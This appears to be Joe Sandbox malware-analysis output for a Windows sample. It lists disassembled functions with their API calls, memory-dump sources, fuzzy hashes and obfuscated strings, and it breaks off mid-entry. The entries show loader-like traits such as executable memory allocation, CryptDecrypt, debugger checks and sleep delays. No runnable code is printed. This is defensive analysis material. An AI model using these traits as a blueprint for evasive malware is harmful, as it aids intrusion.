Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID:
API String ID: 1065093856-0
Opcode ID: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction ID: 5700bef43f604e24781938fdb315806f7bd82b17c931dadbe0ad0f8cbe635642
Opcode Fuzzy Hash: d9729f344c6c322aed8993abd69ccd2b034d96b2116c2c448128c12d9a7231e9
Instruction Fuzzy Hash: 2B01D272600208ABDB20DBA8DD49FAEB7E8EB48714F40417EFA05A62D0CBB46945C758

Function 00410536 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(08758BC2,?,00410530,00000016,0040CDA2,?,08758BC2,75DBD2FC,0040CDA2,08758BC2), ref: 00410547
TerminateProcess.KERNEL32(00000000,?,00410530,00000016,0040CDA2,?,08758BC2,75DBD2FC,0040CDA2,08758BC2), ref: 0041054E
ExitProcess.KERNEL32 ref: 00410560

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction ID: 67797f44d9d46dd495823d9566bad27c4dc507fd550e6630b3786a266b8fea83
Opcode Fuzzy Hash: 51baef39f8712e3c962c42c17cb56c32fa66d4279d62b7c7599e975f33ebcb9d
Instruction Fuzzy Hash: A0D09E31000108FBCF11AF61DC0D8CD3F26AF40355B008035BD0945131DFB59DD69E48

Function 004132B1 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132C7
GetLastError.KERNEL32(00000000,?,00418A2B,00000000,00000000,00000000,?,00418A50,00000000,00000007,00000000,?,00418D2F,00000000,00000000), ref: 004132D2

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction ID: d8d9c1c0f29fd1ae3c391d4f931883298020c9469a54bb124b4f82b2896bf902
Opcode Fuzzy Hash: 57565e6569af0ee8b6bc535b15a06f29f01c2303c5bd8ca1e852723f0256f5c9
Instruction Fuzzy Hash: E6E0E6356002146BCB113FB5AC097D57F68AB44759F114076F60C96161D6398996879C

Function 04B60E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000400,?,?,04B60223,?,?), ref: 04B60E19
SetErrorMode.KERNEL32(00000000,?,?,04B60223,?,?), ref: 04B60E1E

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a9533732da9d409a3fb09f18c49f1467be2f2023480b02c0cc13f7ac882dbf18
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 55D0123154512877D7003A95DC09BCD7B1CDF09B62F008451FB0DD9080C774954046E5

Function 100079EE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,10001F83,?,?,10002743,10001F83,?,10001F83,0007A120), ref: 10007A20

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction ID: 0f7b013f9e5e8caa32c185eac4a395cd376aa25861a87a311eefda30a96e0e36
Opcode Fuzzy Hash: f1ff2abc0f9b0129279cb81424fa89791b5c74a503f020079eb334c9f6e41783
Instruction Fuzzy Hash: 2FE0A035B0012266F711EA698C00B8F3A89FB832F0F124120AC489209ADA68DE0181E2

Function 00413C79 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00402809,00402805,?,0040AD1B,0040280B,00402805,0042D884,?,?,00403597,?,00402809,00402805), ref: 00413CAB

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction ID: d9d624181c4160d02ab49c773ca7be82655902724fa9057d6622eb650e71da69
Opcode Fuzzy Hash: 0317c977ae3de03b4a355117f1d18651feb64bc701aa808cd4791dde922aff94
Instruction Fuzzy Hash: BAE0E53350013057D6213F668C007DB7A4C9F413A2F180167EC18B62D0FA6CCE8141ED

Function 00AB9BB4 Relevance: 1.5, APIs: 1, Instructions: 26memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 00AB9BD1

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000AB9000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AB9000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ab9000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: af1b925e2c76607cc3b8e3ac18cf8fd7f0403a0330f004bdac8bf803d05739f0
Instruction ID: eb1129254d60cbe4b0ebfdeb4b089aa075f060fe3d142e2d333497f841f8a76f
Opcode Fuzzy Hash: af1b925e2c76607cc3b8e3ac18cf8fd7f0403a0330f004bdac8bf803d05739f0
Instruction Fuzzy Hash: 32F0277240819A8FD711CF24D8817EE7BA6EF96310F2A4052D9845B9C3DE3A182AC700

Function 00D3CE9D Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000040), ref: 00D3CEEE

Memory Dump Source

Source File: 00000000.00000002.2444736465.0000000000D3C000.00000040.00000020.00020000.00000000.sdmp, Offset: 00D3C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d3c000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: b783356f46f4c45b5d4fe2aabcd17e97c82867ddeef987d8b833f3d01a418f76
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 60110B79A00208EFDB01DF98C985E99BBF5EF08751F158094F948AB362D771EA50DF90

Function 00402E30 Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,?,?), ref: 00402E3F

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction ID: eb79ea19b3e1abf3f5b24c483eecae43203cd8e5c5511bfeef65b24117358006
Opcode Fuzzy Hash: 9b7f6f3ca0983af9e8fdb80d9d56c3a0869d2f15b64f49a49faae6a606d2425e
Instruction Fuzzy Hash: 17C0483200020DFBCF025FD1EC048DA7F2AFB09260B00C020FA1844032C773A931ABA5

Function 00402E50 Relevance: 1.3, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(?,?,?), ref: 00402E5C

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction ID: a3fa6bbe5c1a250ebea8c2fc35f655263c95a0ace9f7750fc45cf9fcc5ecde2d
Opcode Fuzzy Hash: c340e0d22e4fb20872e2675f8e927c09d9f86923da33760a30bf271b1d9be8d1
Instruction Fuzzy Hash: 5CB0923204020CFBCF025F81EC048D93F6AFB0C261B408020FA1C44031C7339675AB84

Non-executed Functions

Function 04B63F87 Relevance: 43.8, APIs: 20, Strings: 4, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,0042C014,0041F068,00000000), ref: 04B63FF1
Sleep.KERNEL32(000003E8), ref: 04B64189
__Init_thread_footer.LIBCMT ref: 04B6475E
__Init_thread_footer.LIBCMT ref: 04B64924
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,04B66D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04B64B2E
__Init_thread_footer.LIBCMT ref: 04B64BBC
__Init_thread_footer.LIBCMT ref: 04B64E25
CoInitialize.OLE32(00000000), ref: 04B64EA6
CoCreateInstance.COMBASE(0041F290,00000000,00000001,0041F260,?), ref: 04B64EC1
__Init_thread_footer.LIBCMT ref: 04B65324
Sleep.KERNEL32(00000BB8,00000000,?,04B66CE8,0041D8A0,0042DB20,0042DB21), ref: 04B6553C
__Init_thread_footer.LIBCMT ref: 04B65632
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,04B66D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04B64F2F

Part of subcall function 04B70A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04B65CE6,00000000,0042C014), ref: 04B70A5E
Part of subcall function 04B70A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04B70A7D

__Init_thread_footer.LIBCMT ref: 04B6428D

Part of subcall function 04B69EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EAC
Part of subcall function 04B69EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69EDF

Part of subcall function 04B62457: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 04B6248D
Part of subcall function 04B62457: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 04B624AE
Part of subcall function 04B62457: CloseHandle.KERNEL32(00000000), ref: 04B624B5

__Init_thread_footer.LIBCMT ref: 04B64469

Part of subcall function 04B69EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EF7
Part of subcall function 04B69EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69F34

Strings

KDOX, xrefs: 04B64B4B
]DFE, xrefs: 04B648A7
^OX*, xrefs: 04B64DD2
viFO, xrefs: 04B64B41

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$CriticalSection$File$CreateEnterLeavePathSleepTime$ByteCharCloseFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@WideWrite__ehfuncinfo$??2@
String ID: KDOX$]DFE$^OX*$viFO
API String ID: 529012138-4238671514
Opcode ID: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction ID: 3315045fbb3a34e950b3e62640445f3b3e2ca1b80243ae3fec44e16f3e4b457c
Opcode Fuzzy Hash: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction Fuzzy Hash: 6FF213B0E042589FEB24CF24DC48BADBBB1EF45304F1441E8D50A6B291DB79BA85CF59

Function 04D23120 Relevance: 22.8, APIs: 8, Strings: 4, Instructions: 1839COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D23426
__Init_thread_footer.LIBCMT ref: 04D23602
__Init_thread_footer.LIBCMT ref: 04D238F7
__Init_thread_footer.LIBCMT ref: 04D23ABD
__Init_thread_footer.LIBCMT ref: 04D244BD
__Init_thread_footer.LIBCMT ref: 04D247CB
__Init_thread_footer.LIBCMT ref: 04D23D55

Part of subcall function 04D2FBE2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D2FC16

__Init_thread_footer.LIBCMT ref: 04D23FBE

Strings

^OX*, xrefs: 04D23F6B
viFO, xrefs: 04D23CDA
KDOX, xrefs: 04D23CE4
]DFE, xrefs: 04D23A40

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: KDOX$]DFE$^OX*$viFO
API String ID: 829385169-4238671514
Opcode ID: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction ID: a86bc6807f929408e6e1eb9975d8643e8157e5b6e28b8f84a93a519d8cbe6cce
Opcode Fuzzy Hash: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction Fuzzy Hash: A5F203B0E042688FEB24DF24CE58B9DBBB1EF15308F5442D8E4096B291DB74BA85CF55

Function 04B63817 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,0042C014), ref: 04B63897
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 04B638BB
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 04B63925
GetLastError.KERNEL32 ref: 04B6392F
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 04B63957
GetLastError.KERNEL32 ref: 04B63961
CryptReleaseContext.ADVAPI32(?,00000000), ref: 04B63971
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 04B63A33
CryptDestroyKey.ADVAPI32(?), ref: 04B63AA5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 04B63873

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction ID: 8ed36b872722dda26fb4396a46eea9bdd84ad28f16be1764a5daea6e10f86296
Opcode Fuzzy Hash: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction Fuzzy Hash: 1F816F71A002189FEF248F24CC45B9EBBB5EF49300F1481E9E94EE7291DB35AE859F51

Function 04B651B7 Relevance: 12.9, APIs: 5, Strings: 2, Instructions: 621sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 04B70A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04B65CE6,00000000,0042C014), ref: 04B70A5E
Part of subcall function 04B70A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04B70A7D

Part of subcall function 04B69EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EF7
Part of subcall function 04B69EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69F34

__Init_thread_footer.LIBCMT ref: 04B65324
Sleep.KERNEL32(00000BB8,00000000,?,04B66CE8,0041D8A0,0042DB20,0042DB21), ref: 04B6553C
__Init_thread_footer.LIBCMT ref: 04B65632
Sleep.KERNEL32(000007D0), ref: 04B6599C
Sleep.KERNEL32(000007D0), ref: 04B659B6

Strings

DFEK, xrefs: 04B655C3
updateSW, xrefs: 04B658C2

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTime$EnterFileLeaveSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: DFEK$updateSW
API String ID: 3554146954-1114742100
Opcode ID: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction ID: 5d56a9a702dad2434d98fe4f27fd2356b6d8580b0a4dff25f0eebe2d2d20b32b
Opcode Fuzzy Hash: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction Fuzzy Hash: C93232B1E002549BEF28DF24DC887ADBBB1EF45304F1442E9D40A6B291DB78AE85CF55

Function 00997254 Relevance: 11.6, Strings: 8, Instructions: 1610COMMON

Download Yara Rule

Strings

rQ&+, xrefs: 009978C7
OW, xrefs: 0099845D
UAW, xrefs: 00997FE6
kuW, xrefs: 00997371
WI7, xrefs: 009975EF
kuW, xrefs: 00997376
%1wy, xrefs: 0099726D
!A{{, xrefs: 00997D4D

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: OW$!A{{$%1wy$UAW$WI7$rQ&+$kuW$kuW
API String ID: 0-320876570
Opcode ID: 8f569287b43ef19a11e612080df7f1e07132238894486c18de6b5665f1960a5b
Instruction ID: f7b3b8bd94c12371825e51938bce9ae16333d62d4d744bf9f39eddbf799405d2
Opcode Fuzzy Hash: 8f569287b43ef19a11e612080df7f1e07132238894486c18de6b5665f1960a5b
Instruction Fuzzy Hash: EEB218F3A0C2049FE304AE2DEC8567ABBE9EF94720F16493DEAC4C7744E93558058697

Function 0099C09B Relevance: 11.6, Strings: 8, Instructions: 1570COMMON

Download Yara Rule

Strings

vJg=, xrefs: 0099C3D3
Dp, xrefs: 0099C3B3
$]_, xrefs: 0099C35D
Dq~, xrefs: 0099C7E5
R;K, xrefs: 0099C2B6
r{, xrefs: 0099CE22
+;~=, xrefs: 0099CB93
9{, xrefs: 0099C0E4

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: $]_$+;~=$Dp$Dq~$r{$vJg=$9{$R;K
API String ID: 0-3143429878
Opcode ID: bd74159127ad4a3e138c5c128992ec8d147789d7263b9c02daa022fb9194320e
Instruction ID: 167006e00c7744f1e3aa5746b100d2313fe43a2c253c6c94359c841dcbc7de87
Opcode Fuzzy Hash: bd74159127ad4a3e138c5c128992ec8d147789d7263b9c02daa022fb9194320e
Instruction Fuzzy Hash: D0A2E6F360C6009FE705AE2DEC8577AB7E9EF94320F1A493DE6C4C7744EA3598018696

Function 04D24350 Relevance: 10.4, APIs: 3, Strings: 2, Instructions: 1645COMMON

Download Yara Rule

APIs

Part of subcall function 04D2FBE2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D2FC16

__Init_thread_footer.LIBCMT ref: 04D244BD
__Init_thread_footer.LIBCMT ref: 04D247CB

Strings

DFEK, xrefs: 04D2475C
U%, xrefs: 04D25D16

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: DFEK$U%
API String ID: 829385169-3435397596
Opcode ID: 41cbdf90dec37eb52b954d10541310d96c062ecf6e52845e935639f857fb7cc0
Instruction ID: cca0d138e25899f6917295f4ab29c751ae61078365749ba280205dac64db8871
Opcode Fuzzy Hash: 41cbdf90dec37eb52b954d10541310d96c062ecf6e52845e935639f857fb7cc0
Instruction Fuzzy Hash: 70D23871E001649BEB15EF24CE54BEDB7B5EF6030CF5482A8D8056B281DB34BA85CFA1

Function 0041A306 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0041A51D

Strings

1#INF, xrefs: 0041A43C
1#QNAN, xrefs: 0041A419
1#SNAN, xrefs: 0041A412
1#IND, xrefs: 0041A40B

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction ID: 71a107362d346717e648338213b5422f70619b5b18563a803cf0c70334ea4234
Opcode Fuzzy Hash: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction Fuzzy Hash: 78D22771E092288FDB65CE28DD407EAB7B5EB44314F1441EAD44DE7240E778AEC58F86

Function 00998D18 Relevance: 9.0, Strings: 6, Instructions: 1547COMMON

Download Yara Rule

Strings

o'jn, xrefs: 00999374
W?wu, xrefs: 00999D09
0}W, xrefs: 00999585
S?wu, xrefs: 00999D0F
_, xrefs: 00999D30
4Q*v, xrefs: 0099986D

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: _$0}W$4Q*v$S?wu$W?wu$o'jn
API String ID: 0-805637510
Opcode ID: 7baf03c71e1d0643fec7eff08c3e2b2d9dc4551e49c2f8c548e88b4a5c0ef421
Instruction ID: 95ae4a2483b8e83cac718785cfc2445c03483f903ccffeef61d5214a2a9c1079
Opcode Fuzzy Hash: 7baf03c71e1d0643fec7eff08c3e2b2d9dc4551e49c2f8c548e88b4a5c0ef421
Instruction Fuzzy Hash: 5DB2E4F3608200AFE304AE2DDC8567AF7E5EF94720F1A892DE6C4C7744EA3598458697

Function 009A29BD Relevance: 7.9, Strings: 5, Instructions: 1651COMMON

Download Yara Rule

Strings

&o, xrefs: 009A318A
(;V, xrefs: 009A3C1D
}=8, xrefs: 009A3970
=s8@, xrefs: 009A3421
\,, xrefs: 009A323E

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: &o$ (;V$=s8@$}=8$\,
API String ID: 0-87318588
Opcode ID: baffce5e8e929a1834c59746e3309ab0db0eea77bbbe21322b2fda6936647907
Instruction ID: c15ed0781cf044db68c3b96fed0e85fdddd3c541c5031bd5c9d17038f089c2dc
Opcode Fuzzy Hash: baffce5e8e929a1834c59746e3309ab0db0eea77bbbe21322b2fda6936647907
Instruction Fuzzy Hash: 70B22AF360C6049FE304AE2DEC8567AFBE9EF94320F164A3DE6C5C7744E63598058692

Function 00993C90 Relevance: 7.8, Strings: 5, Instructions: 1563COMMON

Download Yara Rule

Strings

! Z, xrefs: 00994E32
_, xrefs: 00993D34
J", xrefs: 0099438D
b5?, xrefs: 00993F92
b5?, xrefs: 00993F73

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: ! Z$b5?$b5?$J"$_
API String ID: 0-4137982596
Opcode ID: 5dd513356cae071ce7e9399790105cc04babfe1a1176f0a5ed5448cf736a814f
Instruction ID: 0bb72fda66349d12ce2e9f114fed787fd93e3836eadfbd071f1117da7af0c1ed
Opcode Fuzzy Hash: 5dd513356cae071ce7e9399790105cc04babfe1a1176f0a5ed5448cf736a814f
Instruction Fuzzy Hash: 60B2E6F3A0C2049FE7046E2DEC8567ABBE9EF94720F1A493DE6C5C3744EA3558018697

Function 0099084B Relevance: 7.8, Strings: 5, Instructions: 1559COMMON

Download Yara Rule

Strings

si<, xrefs: 0099169D
x<H, xrefs: 00991028
<Ky, xrefs: 00991667
_Mo}, xrefs: 00990BEA
tui, xrefs: 009919A8

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: <Ky$_Mo}$si<$tui$x<H
API String ID: 0-1527046571
Opcode ID: 14c2e478d1710eab7af9d4d528a86df98126706c752eb731e1c5f7cbfd7e67ee
Instruction ID: eb90e878d50406129ebf8f100e44ee447bd5cf3e280895fc29426b3ec21fa491
Opcode Fuzzy Hash: 14c2e478d1710eab7af9d4d528a86df98126706c752eb731e1c5f7cbfd7e67ee
Instruction Fuzzy Hash: 9FA2F5F360C6009FE704AE2DEC8567AFBE9EF94720F164A3DE6C4C7744E63598018696

Function 0040CDA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,(@), ref: 0040CE9B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,(@), ref: 0040CEA5
UnhandledExceptionFilter.KERNEL32(004024E3,?,?,?,?,?,(@), ref: 0040CEB2

Strings

(@, xrefs: 0040CDBC

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: (@
API String ID: 3906539128-3675327911
Opcode ID: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction ID: 588a31918c4d7a6a9ba75f52031696ab4f5dbddd8307c033202189b188a5c7dc
Opcode Fuzzy Hash: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction Fuzzy Hash: 5E31C475911228ABCB21DF65D8897CDBBB4AF08310F5081EAE40CA7291E7749F858F48

Function 009956D8 Relevance: 6.6, Strings: 4, Instructions: 1649COMMON

Download Yara Rule

Strings

b+"{, xrefs: 009959A2
=A_, xrefs: 00995D2C
Qz?y, xrefs: 00995932
WE=, xrefs: 00995957

Memory Dump Source

Source File: 00000000.00000002.2443597893.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: =A_$Qz?y$WE=$b+"{
API String ID: 0-2004227451
Opcode ID: ce42aa519ab4115b37978534e76c095c94110d82314c81b7fb9afb4c17507033
Instruction ID: fd3d56570755af0796ca98925e662ca8e9b661a1788528aff480689102ddf606
Opcode Fuzzy Hash: ce42aa519ab4115b37978534e76c095c94110d82314c81b7fb9afb4c17507033
Instruction Fuzzy Hash: 10B218F36082009FE304AE2DEC8567AFBE9EF94720F1A493DEAC5D7744E53598018697

Function 04D2FD00 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

